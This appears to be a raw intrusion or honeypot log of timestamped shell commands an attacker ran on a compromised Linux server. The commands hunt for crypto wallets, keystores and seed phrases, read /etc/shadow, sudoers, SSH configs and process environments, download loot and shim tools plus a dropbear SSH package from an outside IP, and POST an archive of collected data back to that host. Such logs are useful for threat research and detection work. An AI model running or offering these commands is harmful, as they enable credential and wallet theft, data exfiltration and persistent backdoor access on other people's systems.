2026-10-31 01:16:47Not attributedNot attributedtimeout -> timeoutsh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea
2026-10-31 01:16:47Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sor
2026-10-31 01:16:47Not attributedNot attributedsh -> shls -la /var/lib/mysql /var/lib/postgresql /var/lib/redis /var/lib/mongodb
2026-10-31 01:16:52Not attributedNot attributedsh -> shtimeout 120 sh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php'
2026-10-31 01:16:52Not attributedNot attributedsh -> shphp /tmp/.php-loot.327.php /tmp/<REDACTED>-20261031/php
2026-10-31 01:16:52Not attributedNot attributedtimeout -> timeoutsh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php'
2026-10-31 01:16:52Not attributedNot attributedsh -> shcurl -sS --max-time 20 -o /tmp/.php-loot.327.php http://206.245.153.56:8088/tools/php-loot.php
2026-10-31 01:17:02Not attributedNot attributedsh -> shrm -f /tmp/.php-loot.327.php
2026-10-31 01:17:07Not attributedNot attributedsh -> shid -Gn
2026-10-31 01:17:07Not attributedNot attributedsh -> shuname -a
2026-10-31 01:17:07Not attributedNot attributedsh -> shuname -r
2026-10-31 01:17:07Not attributedNot attributedsh -> shuname -m
2026-10-31 01:17:07Not attributedNot attributedsh -> shid -u
2026-10-31 01:17:07Not attributedNot attributedsh -> shid -g
2026-10-31 01:17:07Not attributedNot attributedsh -> shid -un
2026-10-31 01:17:07Not attributedNot attributedsh -> shhostname -I
2026-10-31 01:17:07Not attributedNot attributedsh -> shhostname -I
2026-10-31 01:17:07Not attributedNot attributedsh -> shps -e
2026-10-31 01:17:11Not attributedNot attributedsh -> shnproc
2026-10-31 01:17:11Not attributedNot attributedsh -> shsed -n s/^VERSION_CODENAME=//p /etc/os-release
2026-10-31 01:17:11Not attributedNot attributedsh -> shawk -F: /model name/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:17:11Not attributedNot attributedsh -> shsed -n s/^ID=//p /etc/os-release
2026-10-31 01:17:11Not attributedNot attributedsh -> shsed -n s/^VERSION_ID=//p /etc/os-release
2026-10-31 01:17:11Not attributedNot attributedsh -> shsed -n s/^PRETTY_NAME=//p /etc/os-release
2026-10-31 01:17:1423.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashcurl -sS -o dbt.tgz http://206.245.153.56:8088/tools/j490/j490_dbt.tgz
2026-10-31 01:17:1423.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashcurl -sSI http://206.245.153.56:8088/tools/j490/j490_dbt.tgz
2026-10-31 01:17:15Not attributedNot attributedsh -> shawk /^SwapFree:/{print $2} /proc/meminfo
2026-10-31 01:17:15Not attributedNot attributedsh -> shawk /^SwapTotal:/{print $2} /proc/meminfo
2026-10-31 01:17:15Not attributedNot attributedsh -> shdf -kP /
2026-10-31 01:17:15Not attributedNot attributedsh -> shdf -kP /
2026-10-31 01:17:15Not attributedNot attributedsh -> shawk /^MemAvailable:/{print $2} /proc/meminfo
2026-10-31 01:17:15Not attributedNot attributedsh -> shawk /^MemFree:/{print $2} /proc/meminfo
2026-10-31 01:17:15Not attributedNot attributedsh -> shawk /^MemTotal:/{print $2} /proc/meminfo
2026-10-31 01:17:15Not attributedNot attributedsh -> shawk -F: /cpu MHz/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:17:15Not attributedNot attributedsh -> shgrep -c ^processor /proc/cpuinfo
2026-10-31 01:17:15Not attributedNot attributedsh -> shawk -F: /cache size/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:17:19Not attributedNot attributedsh -> shps -e --no-headers
2026-10-31 01:17:19Not attributedNot attributedsh -> shdf -P /
2026-10-31 01:17:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l dbt.tgz
2026-10-31 01:17:24Not attributedNot attributedsh -> shfind . -type f -printf %s\t%TY-%Tm-%Td %TH:%TM\t%p\n
2026-10-31 01:17:24Not attributedNot attributedsh -> shfind . -type f ! -name manifest.tsv -print0
2026-10-31 01:17:24Not attributedNot attributedsh -> shfind /tmp/<REDACTED>-20261031/git -maxdepth 1 -mindepth 1 -type d
2026-10-31 01:17:3523.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l r/usr/sbin/dropbear
2026-10-31 01:17:3523.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashchmod +x r/usr/sbin/dropbear r/usr/bin/dropbearkey r/usr/bin/dbclient r/usr/bin/dropbearconvert
2026-10-31 01:17:3523.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l r/usr/sbin/dropbear
2026-10-31 01:17:46Not attributedNot attributedsh -> shcurl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-20261031.tgz http://206.245.153.56:8088/1422/<REDACTED>-20261031.tgz
2026-10-31 01:17:46Not attributedNot attributedbash -> bashpasswd -S root
2026-10-31 01:17:51Not attributedNot attributedsh -> shcat /etc/debian_version /etc/alpine-release /etc/redhat-release
2026-10-31 01:17:51Not attributedNot attributedsh -> shgetconf LONG_BIT
2026-10-31 01:17:51Not attributedNot attributedsh -> shuname -a
2026-10-31 01:17:51Not attributedNot attributedtimeout -> timeoutsh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null
2026-10-31 01:17:51Not attributedNot attributedsh -> shuname -m
2026-10-31 01:17:51Not attributedNot attributedsh -> shtimeout 40 sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2
2026-10-31 01:17:51Not attributedNot attributedsh -> shid
2026-10-31 01:17:51Not attributedNot attributedsh -> shuname -r
2026-10-31 01:17:51Not attributedNot attributedsh -> shcat /etc/os-release
2026-10-31 01:17:51Not attributedNot attributedsh -> shwhoami
2026-10-31 01:17:51Not attributedNot attributedsh -> shid
2026-10-31 01:17:51Not attributedNot attributedbash -> bashsh -c sh /tmp/collect.sh -i 1422 -n t1 >/tmp/c.out 2>&1; echo rc=$?; tail -5 /tmp/c.out ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; tr \0 ; cut -c1-80 ; tr \0 \n ; sort ; tr \0 ; cut -c1-80 ; sort ; tr \0 \n ; tr \0 ; cut -c1-80 ; tr \0 \n ; sort ; tr \0 ; cut -c1-80 ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 ; tr \0 \n ; sort ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; tr \0 ; cut -c1-80 ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 ; tr \0 \n ; sort ; tr \0 ; cut -c1-80 ; sort ; tr \0 \n ; tr \0 ; cut -c1-80 ; tr \0 \n ; sort ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; head -1
2026-10-31 01:17:51Not attributedNot attributedbash -> bashls -l /tmp/collect.sh
2026-10-31 01:17:51Not attributedNot attributedbash -> bashpasswd -S www-data
2026-10-31 01:17:57Not attributedNot attributedtimeout -> timeoutsh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou
2026-10-31 01:17:57Not attributedNot attributedsh -> shegrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo
2026-10-31 01:17:57Not attributedNot attributedsh -> shfree -h
2026-10-31 01:17:57Not attributedNot attributedsh -> shfree -m
2026-10-31 01:17:57Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s
2026-10-31 01:17:57Not attributedNot attributedsh -> shid -un
2026-10-31 01:17:57Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat
2026-10-31 01:17:57Not attributedNot attributedsh -> shlscpu
2026-10-31 01:17:57Not attributedNot attributedsh -> shegrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo
2026-10-31 01:17:57Not attributedNot attributedsh -> shnproc
2026-10-31 01:17:57Not attributedNot attributedtimeout -> timeoutsh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device
2026-10-31 01:17:57Not attributedNot attributedsh -> shgetent passwd www-data
2026-10-31 01:18:02Not attributedNot attributedsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n
2026-10-31 01:18:02Not attributedNot attributedsh -> shdf -iP
2026-10-31 01:18:02Not attributedNot attributedsh -> shlsblk
2026-10-31 01:18:02Not attributedNot attributedtimeout -> timeoutsh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm
2026-10-31 01:18:02Not attributedNot attributedsh -> shdf -hP
2026-10-31 01:18:02Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /o
2026-10-31 01:18:24Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do print
2026-10-31 01:18:27Not attributedNot attributedsh -> shcat /etc/resolv.conf
2026-10-31 01:18:27Not attributedNot attributedsh -> shcat /etc/hosts
2026-10-31 01:18:27Not attributedNot attributedsh -> shcat /proc/net/udp /proc/net/udp6
2026-10-31 01:18:27Not attributedNot attributedsh -> shcat /proc/net/arp
2026-10-31 01:18:27Not attributedNot attributedsh -> shcat /proc/net/route
2026-10-31 01:18:27Not attributedNot attributedsh -> shcat /proc/net/tcp /proc/net/tcp6
2026-10-31 01:18:27Not attributedNot attributedtimeout -> timeoutsh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${
2026-10-31 01:18:27Not attributedNot attributedsh -> shhostname -I
2026-10-31 01:18:2923.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashcurl -sS -o shim.c http://206.245.153.56:8088/tools/j490/shim.c
2026-10-31 01:18:32Not attributedNot attributedsh -> shcat /etc/group
2026-10-31 01:18:32Not attributedNot attributedsh -> shcat /etc/shadow
2026-10-31 01:18:32Not attributedNot attributedtimeout -> timeoutsh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers.
2026-10-31 01:18:32Not attributedNot attributedsh -> shid
2026-10-31 01:18:32Not attributedNot attributedsh -> shcat /etc/passwd
2026-10-31 01:18:32Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e
2026-10-31 01:18:32Not attributedNot attributedsh -> shps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss
2026-10-31 01:18:32Not attributedNot attributedsh -> shps auxww
2026-10-31 01:18:32Not attributedNot attributedtimeout -> timeoutsh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro
2026-10-31 01:18:32Not attributedNot attributedsh -> shls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock
2026-10-31 01:18:32Not attributedNot attributedsh -> shawk function nib(c){return index("0123456789ABCDEF", toupper(c))-1} function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v} function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))} function st(c){if(c=="
2026-10-31 01:18:32Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load
2026-10-31 01:18:37Not attributedNot attributedtimeout -> timeoutsh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head
2026-10-31 01:18:37Not attributedNot attributedsh -> shcat /root/.ssh/config /home/*/.ssh/config
2026-10-31 01:18:37Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort
2026-10-31 01:18:37Not attributedNot attributedsh -> shls -la /root/.ssh /home/*/.ssh
2026-10-31 01:18:37Not attributedNot attributedsh -> shw
2026-10-31 01:18:37Not attributedNot attributedsh -> shcat /etc/gshadow
2026-10-31 01:18:37Not attributedNot attributedsh -> shls -la /etc/sudoers.d
2026-10-31 01:18:37Not attributedNot attributedsh -> shls -la /root /home
2026-10-31 01:18:37Not attributedNot attributedsh -> shls -la /root
2026-10-31 01:18:37Not attributedNot attributedsh -> shwho
2026-10-31 01:18:42Not attributedNot attributedsh -> shls -la /etc/default /etc/sysconfig
2026-10-31 01:18:42Not attributedNot attributedsh -> shls -la /etc/profile.d
2026-10-31 01:18:46Not attributedNot attributedtimeout -> timeoutsh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 